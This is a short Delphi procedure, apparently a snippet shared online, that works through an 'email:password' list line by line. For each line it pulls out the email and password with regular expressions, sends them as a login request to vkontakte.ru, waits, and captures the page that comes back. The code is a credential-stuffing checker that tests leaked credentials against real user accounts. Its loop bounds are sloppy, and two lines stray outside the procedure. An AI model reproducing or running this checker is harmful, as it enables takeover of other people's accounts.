procedure TForm1.Button2Click(Sender: TObject); 
 var Count: Integer; 
  RegExp: TRegExpr;
  Str1, Str2,ss,s: String;
  P, i,j,z:integer;
  HTMLDocument: IHTMLDocument2; 
  PersistFile: IPersistFile; 
 begin  Z:=StrToInt(edit3.Text);
 i:=0; 
 While i<= Memo1.Lines.Count do
   begin  if I<=Memo1.Lines.Count then
    begin   RegExp := TRegExpr.Create;
RegExp.Expression := '[_a-zA-Z\d\-\.]+@([_a-zA-Z\d\-]+(\.[_a-zA-Z\d\-]+)+)';
if RegExp.Exec(Memo1.lines[i]) then
begin 
   edit1.Text:= RegExp.Match[0]; 
   RegExp.Expression := ':([^\s]+)';  
   if RegExp.Exec(Memo1.lines[i]) then 
begin    
ss:=RegExp.Match[0];  
Delete(ss, 1, 1); 
end; 
edit2.Text:=ss;  
s:='http://vkontakte.ru/login.php?email='+edit1.text+'&pass='+edit2.text+'&HTTP/1.0';   
 WebBrowser1.Navigate(s);
   Sleep(Z);  
  HTMLDocument := WebBrowser1.Document as IHTMLDocument2;   
Memo3.Text :=(HTMLDocument.all.Item(1, 0) as IHTMLElement).OuterHTML; 
 end;  
  I:=i+1;  
end; 
 end;  
end;

HTMLDocument := WebBrowser1.Document as IHTMLDocument2; 
  Memo3.Text := (HTMLDocument.all.Item(1, 0) as IHTMLElement).OuterHTML;